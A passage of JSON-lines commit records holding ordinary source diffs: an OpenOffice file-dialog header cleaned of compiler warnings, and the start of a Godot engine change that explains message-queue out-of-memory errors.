len1, str2, len2); \n \n return s;\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Modified output of filters-test.cxx to CSV<commit_after><|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: filedlg2.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 15:13:20 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _FILEDLG2_HXX\n#define _FILEDLG2_HXX\n\n#ifndef _TOOLS_DEBUG_HXX \/\/autogen\n#include <tools\/debug.hxx>\n#endif\n#ifndef _FSYS_HXX \/\/autogen\n#include <tools\/fsys.hxx>\n#endif\n#ifndef _SV_BUTTON_HXX \/\/autogen wg. PushButton\n#include <vcl\/button.hxx>\n#endif\n#ifndef _VCL_UNOHELP_HXX\n#include <vcl\/unohelp.hxx>\n#endif\n\nclass FixedText;\nclass Edit;\nclass ListBox;\nclass ListBox;\nclass Button;\n\nclass PathDialog;\nclass FileDialog;\nclass ImpPathDialog;\n\nstruct ImpFilterItem\n{\n String aName;\n String aMask;\n\n ImpFilterItem( const String & rFilter, const String & rMask )\n {\n aName = rFilter;\n aMask = rMask;\n }\n};\n\nDECLARE_LIST( ImpFilterList, ImpFilterItem* )\n\n#ifndef _SV_LSTBOX_HXX\n#include <vcl\/lstbox.hxx>\n#endif \/\/ _SV_LSTBOX_HXX\n\nclass KbdListBox : public ListBox\n{\npublic:\n\n KbdListBox( Window* pParent, WinBits nStyle = WB_BORDER )\n : ListBox ( pParent, nStyle )\n {};\n\nvirtual long PreNotify( NotifyEvent& rNEvt );\n\n};\n\n\nclass ImpPathDialog\n{\n friend class ImpFileDialog;\n\nprivate:\n PathDialog* pSvPathDialog;\n Edit* pEdit;\n FixedText* pDirTitel;\n KbdListBox* pDirList;\n FixedText* pDirPath;\n ListBox* pDriveList;\n FixedText* pDriveTitle;\n PushButton* pLoadBtn;\n PushButton* pOkBtn;\n PushButton* pCancelBtn;\n PushButton* pHomeBtn;\n PushButton* pNewDirBtn;\n\n USHORT nOwnChilds;\n\n DirEntry aPath; \/\/ aktuell angewaehlter Pfad\n USHORT nDirCount; \/\/ Anzahl der Verzeichnis-\n \/\/ Verschachtelungen\n\n ::com::sun::star::uno::Reference< ::com::sun::star::i18n::XCollator >\n xCollator;\n\nprotected:\n\n virtual void UpdateEntries( const BOOL bWithDirs );\n void UpdateDirs( const DirEntry& rTmpPath );\n\n BOOL IsFileOk( const DirEntry& rDirEntry );\n void InitControls();\n\n DECL_LINK( SelectHdl, ListBox * );\n DECL_LINK( DblClickHdl, ListBox * );\n DECL_LINK( ClickHdl, Button * );\n\npublic:\n ImpPathDialog( PathDialog* pDlg, WinBits nWinBits, RESOURCE_TYPE nType, BOOL bCreateDir );\n virtual ~ImpPathDialog();\n\n virtual void SetPath( const String& rPath );\n virtual void SetPath( const Edit& rEdit );\n virtual String GetPath() const;\n\n virtual void PreExecute();\n virtual void PostExecute();\n\n PathDialog* GetPathDialog() const { return pSvPathDialog; }\n\n void SetOkButtonText( const String& rText ) { pOkBtn->SetText( rText ); }\n void SetCancelButtonText( const String& rText ) { pCancelBtn->SetText( rText ); }\n\n};\n\n\nclass ImpFileDialog : public ImpPathDialog\n{\nprivate:\n FixedText* pFileTitel;\n ListBox* pFileList;\n FixedText* pTypeTitel;\n ListBox* pTypeList;\n\n WildCard aMask; \/\/ aktuelle Maske\n\n ImpFilterList aFilterList; \/\/ Filterliste\n USHORT nCurFilter; \/\/ aktueller Filter\n\n BOOL bOpen; \/\/ TRUE = Open; FALSE = SAVEAS\n\nprotected:\n void InitControls();\n\n String ExtendFileName( DirEntry aEntry ) const;\n\n DECL_LINK( SelectHdl, ListBox * );\n DECL_LINK( DblClickHdl, ListBox * );\n DECL_LINK( ClickHdl, Button * );\n\n virtual void UpdateEntries( const BOOL bWithDirs );\n BOOL IsFileOk( const DirEntry& rDirEntry );\n\npublic:\n ImpFileDialog( PathDialog* pDlg, WinBits nWinBits, RESOURCE_TYPE nType );\n virtual ~ImpFileDialog();\n\n void AddFilter( const String& rFilter, const String& rMask );\n void RemoveFilter( const String& rFilter );\n void RemoveAllFilter();\n void SetCurFilter( const String& rFilter );\n String GetCurFilter() const;\n\n USHORT GetFilterCount() const { return (USHORT)aFilterList.Count(); }\n inline String GetFilterName( USHORT nPos ) const;\n inline String GetFilterType( USHORT nPos ) const;\n\n virtual void SetPath( const String& rPath );\n virtual void SetPath( const Edit& rEdit );\n virtual String GetPath() const;\n\n virtual void PreExecute();\n\n FileDialog* GetFileDialog() const { return (FileDialog*)GetPathDialog(); }\n};\n\ninline String ImpFileDialog::GetFilterName( USHORT nPos ) const\n{\n String aName;\n ImpFilterItem* pItem = aFilterList.GetObject( nPos );\n if ( pItem )\n aName = pItem->aName;\n return aName;\n}\n\ninline String ImpFileDialog::GetFilterType( USHORT nPos ) const\n{\n String aMask;\n ImpFilterItem* pItem = aFilterList.GetObject( nPos );\n if ( pItem )\n aMask = pItem->aMask;\n return aMask;\n}\n\nclass ImpSvFileDlg\n{\nprivate:\n ImpPathDialog* pDlg;\n\npublic:\n ImpSvFileDlg() { pDlg = 0; }\n ~ImpSvFileDlg() { delete pDlg; }\n\n ImpPathDialog* GetDialog() const { return pDlg; }\n void CreateDialog( PathDialog* pCreateFrom, WinBits nStyle, RESOURCE_TYPE nType, BOOL bCreate );\n\n void SetOkButtonText( const String& rText ) { pDlg->SetOkButtonText( rText ); } \/\/ ihr habts ja nicht anders gewollt\n void SetCancelButtonText( const String& rText ) { pDlg->SetCancelButtonText( rText ); }\n\n};\n\n#endif \/\/ _FILEDLG2_HXX\n<commit_msg>INTEGRATION: CWS warnings01 (1.3.62); FILE MERGED 2005\/11\/15 17:54:29 pl 1.3.62.1: #i55991# removed warnings<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: filedlg2.hxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: hr $ $Date: 2006-06-19 20:59:47 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _FILEDLG2_HXX\n#define _FILEDLG2_HXX\n\n#ifndef _TOOLS_DEBUG_HXX \/\/autogen\n#include <tools\/debug.hxx>\n#endif\n#ifndef _FSYS_HXX \/\/autogen\n#include <tools\/fsys.hxx>\n#endif\n#ifndef _SV_BUTTON_HXX \/\/autogen wg. PushButton\n#include <vcl\/button.hxx>\n#endif\n#ifndef _VCL_UNOHELP_HXX\n#include <vcl\/unohelp.hxx>\n#endif\n\nclass FixedText;\nclass Edit;\nclass ListBox;\nclass ListBox;\nclass Button;\n\nclass PathDialog;\nclass FileDialog;\nclass ImpPathDialog;\n\nstruct ImpFilterItem\n{\n String aName;\n String aMask;\n\n ImpFilterItem( const String & rFilter, const String & rMask )\n {\n aName = rFilter;\n aMask = rMask;\n }\n};\n\nDECLARE_LIST( ImpFilterList, ImpFilterItem* )\n\n#ifndef _SV_LSTBOX_HXX\n#include <vcl\/lstbox.hxx>\n#endif \/\/ _SV_LSTBOX_HXX\n\nclass KbdListBox : public ListBox\n{\npublic:\n\n KbdListBox( Window* pParent, WinBits nStyle = WB_BORDER )\n : ListBox ( pParent, nStyle )\n {};\n\nvirtual long PreNotify( NotifyEvent& rNEvt );\n\n};\n\n\nclass ImpPathDialog\n{\n friend class ImpFileDialog;\n\nprivate:\n PathDialog* pSvPathDialog;\n Edit* pEdit;\n FixedText* pDirTitel;\n KbdListBox* pDirList;\n FixedText* pDirPath;\n ListBox* pDriveList;\n FixedText* pDriveTitle;\n PushButton* pLoadBtn;\n PushButton* pOkBtn;\n PushButton* pCancelBtn;\n PushButton* pHomeBtn;\n PushButton* pNewDirBtn;\n\n USHORT nOwnChilds;\n\n DirEntry aPath; \/\/ aktuell angewaehlter Pfad\n USHORT nDirCount; \/\/ Anzahl der Verzeichnis-\n \/\/ Verschachtelungen\n\n ::com::sun::star::uno::Reference< ::com::sun::star::i18n::XCollator >\n xCollator;\n\nprotected:\n\n virtual void UpdateEntries( const BOOL bWithDirs );\n void UpdateDirs( const DirEntry& rTmpPath );\n\n BOOL IsFileOk( const DirEntry& rDirEntry );\n void InitControls();\n\n DECL_LINK( SelectHdl, ListBox * );\n DECL_LINK( DblClickHdl, ListBox * );\n DECL_LINK( ClickHdl, Button * );\n\npublic:\n ImpPathDialog( PathDialog* pDlg, RESOURCE_TYPE nType, BOOL bCreateDir );\n virtual ~ImpPathDialog();\n\n virtual void SetPath( const String& rPath );\n virtual void SetPath( const Edit& rEdit );\n virtual String GetPath() const;\n\n virtual void PreExecute();\n virtual void PostExecute();\n\n PathDialog* GetPathDialog() const { return pSvPathDialog; }\n\n void SetOkButtonText( const String& rText ) { pOkBtn->SetText( rText ); }\n void SetCancelButtonText( const String& rText ) { pCancelBtn->SetText( rText ); }\n\n};\n\n\nclass ImpFileDialog : public ImpPathDialog\n{\nprivate:\n FixedText* pFileTitel;\n ListBox* pFileList;\n FixedText* pTypeTitel;\n ListBox* pTypeList;\n\n WildCard aMask; \/\/ aktuelle Maske\n\n ImpFilterList aFilterList; \/\/ Filterliste\n USHORT nCurFilter; \/\/ aktueller Filter\n\n BOOL bOpen; \/\/ TRUE = Open; FALSE = SAVEAS\n\nprotected:\n void InitControls();\n\n String ExtendFileName( DirEntry aEntry ) const;\n\n DECL_LINK( SelectHdl, ListBox * );\n DECL_LINK( DblClickHdl, ListBox * );\n DECL_LINK( ClickHdl, Button * );\n\n virtual void UpdateEntries( const BOOL bWithDirs );\n BOOL IsFileOk( const DirEntry& rDirEntry );\n\npublic:\n ImpFileDialog( PathDialog* pDlg, WinBits nStyle, RESOURCE_TYPE nType );\n virtual ~ImpFileDialog();\n\n void AddFilter( const String& rFilter, const String& rMask );\n void RemoveFilter( const String& rFilter );\n void RemoveAllFilter();\n void SetCurFilter( const String& rFilter );\n String GetCurFilter() const;\n\n USHORT GetFilterCount() const { return (USHORT)aFilterList.Count(); }\n inline String GetFilterName( USHORT nPos ) const;\n inline String GetFilterType( USHORT nPos ) const;\n\n virtual void SetPath( const String& rPath );\n virtual void SetPath( const Edit& rEdit );\n virtual String GetPath() const;\n\n virtual void PreExecute();\n\n FileDialog* GetFileDialog() const { return (FileDialog*)GetPathDialog(); }\n};\n\ninline String ImpFileDialog::GetFilterName( USHORT nPos ) const\n{\n String aName;\n ImpFilterItem* pItem = aFilterList.GetObject( nPos );\n if ( pItem )\n aName = pItem->aName;\n return aName;\n}\n\ninline String ImpFileDialog::GetFilterType( USHORT nPos ) const\n{\n String aFilterMask;\n ImpFilterItem* pItem = aFilterList.GetObject( nPos );\n if ( pItem )\n aFilterMask = pItem->aMask;\n return aFilterMask;\n}\n\nclass ImpSvFileDlg\n{\nprivate:\n ImpPathDialog* pDlg;\n\npublic:\n ImpSvFileDlg() { pDlg = 0; }\n ~ImpSvFileDlg() { delete pDlg; }\n\n ImpPathDialog* GetDialog() const { return pDlg; }\n void CreateDialog( PathDialog* pCreateFrom, WinBits nStyle, RESOURCE_TYPE nType, BOOL bCreate );\n\n void SetOkButtonText( const String& rText ) { pDlg->SetOkButtonText( rText ); } \/\/ ihr habts ja nicht anders gewollt\n void SetCancelButtonText( const String& rText ) { pDlg->SetCancelButtonText( rText ); }\n\n};\n\n#endif \/\/ _FILEDLG2_HXX\n<|endoftext|>"} {"text":"<commit_before><commit_msg>sw: dump ruby text in nodes dump<commit_after><|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\/\n\/* message_queue.cpp *\/\n\/*************************************************************************\/\n\/* This file is part of: *\/\n\/* GODOT ENGINE *\/\n\/* http:\/\/www.godotengine.org *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2017 Juan Linietsky, Ariel Manzur. *\/\n\/* Copyright (c) 2014-2017 Godot Engine contributors (cf. AUTHORS.md) *\/\n\/* *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the *\/\n\/* \"Software\"), to deal in the Software without restriction, including *\/\n\/* without limitation the rights to use, copy, modify, merge, publish, *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions: *\/\n\/* *\/\n\/* The above copyright notice and this permission notice shall be *\/\n\/* included in all copies or substantial portions of the Software. *\/\n\/* *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *\/\n\/*************************************************************************\/\n#include \"message_queue.h\"\n\n#include \"global_config.h\"\n#include \"script_language.h\"\n\nMessageQueue *MessageQueue::singleton = NULL;\n\nMessageQueue *MessageQueue::get_singleton() {\n\n\treturn singleton;\n}\n\nError MessageQueue::push_call(ObjectID p_id, const StringName &p_method, const Variant **p_args, int p_argcount, bool p_show_error) {\n\n\t_THREAD_SAFE_METHOD_\n\n\tint room_needed = sizeof(Message) + sizeof(Variant) * p_argcount;\n\n\tif ((buffer_end + room_needed) >= buffer_size) {\n\t\tString type;\n\t\tif (ObjectDB::get_instance(p_id))\n\t\t\ttype = ObjectDB::get_instance(p_id)->get_class();\n\t\tprint_line(\"failed method: \" + type + \":\" + p_method + \" target ID: \" + itos(p_id));\n\t\tstatistics();\n\t}\n\n\tERR_FAIL_COND_V((buffer_end + room_needed) >= buffer_size, ERR_OUT_OF_MEMORY);\n\tMessage *msg = memnew_placement(&buffer[buffer_end], Message);\n\tmsg->args = p_argcount;\n\tmsg->instance_ID = p_id;\n\tmsg->target = p_method;\n\tmsg->type = TYPE_CALL;\n\tif (p_show_error)\n\t\tmsg->type |= FLAG_SHOW_ERROR;\n\n\tbuffer_end += sizeof(Message);\n\n\tfor (int i = 0; i < p_argcount; i++) {\n\n\t\tVariant *v = memnew_placement(&buffer[buffer_end], Variant);\n\t\tbuffer_end += sizeof(Variant);\n\t\t*v = *p_args[i];\n\t}\n\n\treturn OK;\n}\n\nError MessageQueue::push_call(ObjectID p_id, const StringName &p_method, VARIANT_ARG_DECLARE) {\n\n\tVARIANT_ARGPTRS;\n\n\tint argc = 0;\n\n\tfor (int i = 0; i < VARIANT_ARG_MAX; i++) {\n\t\tif (argptr[i]->get_type() == Variant::NIL)\n\t\t\tbreak;\n\t\targc++;\n\t}\n\n\treturn push_call(p_id, p_method, argptr, argc, false);\n}\n\nError MessageQueue::push_set(ObjectID p_id, const StringName &p_prop, const Variant &p_value) {\n\n\t_THREAD_SAFE_METHOD_\n\n\tuint8_t room_needed = sizeof(Message) + sizeof(Variant);\n\n\tif ((buffer_end + room_needed) >= buffer_size) {\n\t\tString type;\n\t\tif (ObjectDB::get_instance(p_id))\n\t\t\ttype = ObjectDB::get_instance(p_id)->get_class();\n\t\tprint_line(\"failed set: \" + type + \":\" + p_prop + \" target ID: \" + itos(p_id));\n\t\tstatistics();\n\t}\n\n\tERR_FAIL_COND_V((buffer_end + room_needed) >= buffer_size, ERR_OUT_OF_MEMORY);\n\n\tMessage *msg = memnew_placement(&buffer[buffer_end], Message);\n\tmsg->args = 1;\n\tmsg->instance_ID = p_id;\n\tmsg->target = p_prop;\n\tmsg->type = TYPE_SET;\n\n\tbuffer_end += sizeof(Message);\n\n\tVariant *v = memnew_placement(&buffer[buffer_end], Variant);\n\tbuffer_end += sizeof(Variant);\n\t*v = p_value;\n\n\treturn OK;\n}\n\nError MessageQueue::push_notification(ObjectID p_id, int p_notification) {\n\n\t_THREAD_SAFE_METHOD_\n\n\tERR_FAIL_COND_V(p_notification < 0, ERR_INVALID_PARAMETER);\n\n\tuint8_t room_needed = sizeof(Message);\n\n\tif ((buffer_end + room_needed) >= buffer_size) {\n\t\tString type;\n\t\tif (ObjectDB::get_instance(p_id))\n\t\t\ttype = ObjectDB::get_instance(p_id)->get_class();\n\t\tprint_line(\"failed notification: \" + itos(p_notification) + \" target ID: \" + itos(p_id));\n\t\tstatistics();\n\t}\n\n\tERR_FAIL_COND_V((buffer_end + room_needed) >= buffer_size, ERR_OUT_OF_MEMORY);\n\tMessage *msg = memnew_placement(&buffer[buffer_end], Message);\n\n\tmsg->type = TYPE_NOTIFICATION;\n\tmsg->instance_ID = p_id;\n\t\/\/msg->target;\n\tmsg->notification = p_notification;\n\n\tbuffer_end += sizeof(Message);\n\n\treturn OK;\n}\n\nError MessageQueue::push_call(Object *p_object, const StringName &p_method, VARIANT_ARG_DECLARE) {\n\n\treturn push_call(p_object->get_instance_ID(), p_method, VARIANT_ARG_PASS);\n}\n\nError MessageQueue::push_notification(Object *p_object, int p_notification) {\n\n\treturn push_notification(p_object->get_instance_ID(), p_notification);\n}\nError MessageQueue::push_set(Object *p_object, const StringName &p_prop, const Variant &p_value) {\n\n\treturn push_set(p_object->get_instance_ID(), p_prop, p_value);\n}\n\nvoid MessageQueue::statistics() {\n\n\tMap<StringName, int> set_count;\n\tMap<int, int> notify_count;\n\tMap<StringName, int> call_count;\n\tint null_count = 0;\n\n\tuint32_t read_pos = 0;\n\twhile (read_pos < buffer_end) {\n\t\tMessage *message = (Message *)&buffer[read_pos];\n\n\t\tObject *target = ObjectDB::get_instance(message->instance_ID);\n\n\t\tif (target != NULL) {\n\n\t\t\tswitch (message->type & FLAG_MASK) {\n\n\t\t\t\tcase TYPE_CALL: {\n\n\t\t\t\t\tif (!call_count.has(message->target))\n\t\t\t\t\t\tcall_count[message->target] = 0;\n\n\t\t\t\t\tcall_count[message->target]++;\n\n\t\t\t\t} break;\n\t\t\t\tcase TYPE_NOTIFICATION: {\n\n\t\t\t\t\tif (!notify_count.has(message->notification))\n\t\t\t\t\t\tnotify_count[message->notification] = 0;\n\n\t\t\t\t\tnotify_count[message->notification]++;\n\n\t\t\t\t} break;\n\t\t\t\tcase TYPE_SET: {\n\n\t\t\t\t\tif (!set_count.has(message->target))\n\t\t\t\t\t\tset_count[message->target] = 0;\n\n\t\t\t\t\tset_count[message->target]++;\n\n\t\t\t\t} break;\n\t\t\t}\n\n\t\t\t\/\/object was deleted\n\t\t\t\/\/WARN_PRINT(\"Object was deleted while awaiting a callback\")\n\t\t\t\/\/should it print a warning?\n\t\t} else {\n\n\t\t\tnull_count++;\n\t\t}\n\n\t\tread_pos += sizeof(Message);\n\t\tif ((message->type & FLAG_MASK) != TYPE_NOTIFICATION)\n\t\t\tread_pos += sizeof(Variant) * message->args;\n\t}\n\n\tprint_line(\"TOTAL BYTES: \" + itos(buffer_end));\n\tprint_line(\"NULL count: \" + itos(null_count));\n\n\tfor (Map<StringName, int>::Element *E = set_count.front(); E; E = E->next()) {\n\n\t\tprint_line(\"SET \" + E->key() + \": \" + itos(E->get()));\n\t}\n\n\tfor (Map<StringName, int>::Element *E = call_count.front(); E; E = E->next()) {\n\n\t\tprint_line(\"CALL \" + E->key() + \": \" + itos(E->get()));\n\t}\n\n\tfor (Map<int, int>::Element *E = notify_count.front(); E; E = E->next()) {\n\n\t\tprint_line(\"NOTIFY \" + itos(E->key()) + \": \" + itos(E->get()));\n\t}\n}\n\nbool MessageQueue::print() {\n#if 0\n\tuint32_t read_pos=0;\n\twhile (read_pos < buffer_end ) {\n\t\tMessage *message = (Message*)&buffer[ read_pos ];\n\n\t\tObject *target = ObjectDB::get_instance(message->instance_ID);\n\t\tString cname;\n\t\tString cfunc;\n\n\t\tif (target==NULL) {\n\t\t\t\/\/object was deleted\n\t\t\t\/\/WARN_PRINT(\"Object was deleted while awaiting a callback\")\n\t\t\t\/\/should it print a warning?\n\t\t} else if (message->notification>=0) {\n\n\t\t\t\/\/ messages don't expect a return value\n\t\t\tcfunc=\"notification # \"+itos(message->notification);\n\t\t\tcname=target->get_type();\n\n\t\t} else if (!message->target.empty()) {\n\n\t\t\tcfunc=\"property: \"+message->target;\n\t\t\tcname=target->get_type();\n\n\n\t\t} else if (message->target) {\n\n\t\t\tcfunc=String(message->target)+\"()\";\n\t\t\tcname=target->get_type();\n\t\t}\n\n\n\t\tread_pos+=sizeof(Message);\n\t\tif (message->type!=TYPE_NOTIFICATION)\n\t\t\tread_pos+=sizeof(Variant)*message->args;\n\t}\n#endif\n\treturn false;\n}\n\nint MessageQueue::get_max_buffer_usage() const {\n\n\treturn buffer_max_used;\n}\n\nvoid MessageQueue::_call_function(Object *p_target, const StringName &p_func, const Variant *p_args, int p_argcount, bool p_show_error) {\n\n\tconst Variant **argptrs = NULL;\n\tif (p_argcount) {\n\t\targptrs = (const Variant **)alloca(sizeof(Variant *) * p_argcount);\n\t\tfor (int i = 0; i < p_argcount; i++) {\n\t\t\targptrs[i] = &p_args[i];\n\t\t}\n\t}\n\n\tVariant::CallError ce;\n\tp_target->call(p_func, argptrs, p_argcount, ce);\n\tif (p_show_error && ce.error != Variant::CallError::CALL_OK) {\n\n\t\tERR_PRINTS(\"Error calling deferred method: \" + Variant::get_call_error_text(p_target, p_func, argptrs, p_argcount, ce));\n\t}\n}\n\nvoid MessageQueue::flush() {\n\n\tif (buffer_end > buffer_max_used) {\n\t\tbuffer_max_used = buffer_end;\n\t\t\/\/statistics();\n\t}\n\n\tuint32_t read_pos = 0;\n\n\t\/\/using reverse locking strategy\n\t_THREAD_SAFE_LOCK_\n\n\twhile (read_pos < buffer_end) {\n\n\t\t_THREAD_SAFE_UNLOCK_\n\n\t\t\/\/lock on each interation, so a call can re-add itself to the message queue\n\n\t\tMessage *message = (Message *)&buffer[read_pos];\n\n\t\tObject *target = ObjectDB::get_instance(message->instance_ID);\n\n\t\tif (target != NULL) {\n\n\t\t\tswitch (message->type & FLAG_MASK) {\n\t\t\t\tcase TYPE_CALL: {\n\n\t\t\t\t\tVariant *args = (Variant *)(message + 1);\n\n\t\t\t\t\t\/\/ messages don't expect a return value\n\n\t\t\t\t\t_call_function(target, message->target, args, message->args, message->type & FLAG_SHOW_ERROR);\n\n\t\t\t\t\tfor (int i = 0; i < message->args; i++) {\n\t\t\t\t\t\targs[i].~Variant();\n\t\t\t\t\t}\n\n\t\t\t\t} break;\n\t\t\t\tcase TYPE_NOTIFICATION: {\n\n\t\t\t\t\t\/\/ messages don't expect a return value\n\t\t\t\t\ttarget->notification(message->notification);\n\n\t\t\t\t} break;\n\t\t\t\tcase TYPE_SET: {\n\n\t\t\t\t\tVariant *arg = (Variant *)(message + 1);\n\t\t\t\t\t\/\/ messages don't expect a return value\n\t\t\t\t\ttarget->set(message->target, *arg);\n\n\t\t\t\t\targ->~Variant();\n\t\t\t\t} break;\n\t\t\t}\n\t\t}\n\n\t\tuint32_t advance = sizeof(Message);\n\t\tif ((message->type & FLAG_MASK) != TYPE_NOTIFICATION)\n\t\t\tadvance += sizeof(Variant) * message->args;\n\t\tmessage->~Message();\n\n\t\t_THREAD_SAFE_LOCK_\n\t\tread_pos += advance;\n\t}\n\n\tbuffer_end = 0; \/\/ reset buffer\n\t_THREAD_SAFE_UNLOCK_\n}\n\nMessageQueue::MessageQueue() {\n\n\tERR_FAIL_COND(singleton != NULL);\n\tsingleton = this;\n\n\tbuffer_end = 0;\n\tbuffer_max_used = 0;\n\tbuffer_size = GLOBAL_DEF(\"memory\/buffers\/message_queue_max_size_kb\", DEFAULT_QUEUE_SIZE_KB);\n\tbuffer_size *= 1024;\n\tbuffer = memnew_arr(uint8_t, buffer_size);\n}\n\nMessageQueue::~MessageQueue() {\n\n\tuint32_t read_pos = 0;\n\n\twhile (read_pos < buffer_end) {\n\n\t\tMessage *message = (Message *)&buffer[read_pos];\n\t\tVariant *args = (Variant *)(message + 1);\n\t\tint argc = message->args;\n\t\tif ((message->type & FLAG_MASK) != TYPE_NOTIFICATION) {\n\t\t\tfor (int i = 0; i < argc; i++)\n\t\t\t\targs[i].~Variant();\n\t\t}\n\t\tmessage->~Message();\n\n\t\tread_pos += sizeof(Message);\n\t\tif ((message->type & FLAG_MASK) != TYPE_NOTIFICATION)\n\t\t\tread_pos += sizeof(Variant) * message->args;\n\t}\n\n\tsingleton = NULL;\n\tmemdelete_arr(buffer);\n}\n<commit_msg>Better explain out of memory error in message queue<commit_after>\/*************************************************************************\/\n\/* message_queue.cpp *\/\n\/*************************************************************************\/\n\/* This file is part of: *\/\n\/* GODOT ENGINE *\/\n\/* http:\/\/www.godotengine.org *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2017 Juan Linietsky, Ariel Manzur. *\/\n\/* Copyright (c) 2014-2017 Godot Engine contributors (cf. AUTHORS.md) *\/\n\/* *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the *\/\n\/* \"Software\"), to deal in the Software without restriction, including *\/\n\/* without limitation the rights to use, copy, modify, merge, publish, *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions: *\/\n\/* *\/\n\/* The above copyright notice and this permission notice shall be *\/\n\/* included in all copies or substantial portions of the Software. *\/\n\/* *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *\/\n\/*************************************************************************\/\n#include \"message_queue.h\"\n\n#include \"global_config.h\"\n#include \"script_language.h\"\n\nMessageQueue *MessageQueue::singleton = NULL;\n\nMessageQueue *MessageQueue::get_singleton() {\n\n\treturn singleton;\n}\n\nError MessageQueue::push_call(ObjectID p_id, const StringName &p_method, const Variant **p_args, int p_argcount, bool p_show_error) {\n\n\t_THREAD_SAFE_METHOD_\n\n\tint room_needed = sizeof(Message) + sizeof(Variant) * p_argcount;\n\n\tif ((buffer_end + room_needed) >= buffer_size) {\n\t\tString type;\n\t\tif (ObjectDB::get_instance(p_id))\n\t\t\ttype = ObjectDB::get_instance(p_id)->get_class();\n\t\tprint_line(\"failed method: \" + type + \":\" + p_method + \" target ID: \" + itos(p_id));\n\t\tstatistics();\n\t\tERR_EXPLAIN(\"Message queue out of memory. Try increasing 'message_queue_size_kb' in project settings\");\n\t\tERR_FAIL_V(ERR_OUT_OF_MEMORY);\n\t}\n\n\tMessage *msg = memnew_placement(&buffer[buffer_end], Message);\n\tmsg->args = p_argcount;\n\tmsg->instance_ID = p_id;\n\tmsg->target = p_method;\n\tmsg->type = TYPE_CALL;\n\tif (p_show_error)\n\t\tmsg->type |= FLAG_SHOW_ERROR;\n\n\tbuffer_end += sizeof(Message);\n\n\tfor (int i = 0; i < p_argcount; i++) {\n\n\t\tVariant *v = memnew_placement(&buffer[buffer_end], Variant);\n\t\tbuffer_end += sizeof(Variant);\n\t\t*v = *p_args[i];\n\t}\n\n\treturn OK;\n}\n\nError MessageQueue::push_call(ObjectID p_id, const StringName &p_method, VARIANT_ARG_DECLARE) {\n\n\tVARIANT_ARGPTRS;\n\n\tint argc = 0;\n\n\tfor (int i = 0; i < VARIANT_ARG_MAX; i++) {\n\t\tif (argptr[i]->get_type() == Variant::NIL)\n\t\t\tbreak;\n\t\targc++;\n\t}\n\n\treturn push_call(p_id, p_method, argptr, argc, false);\n}\n\nError 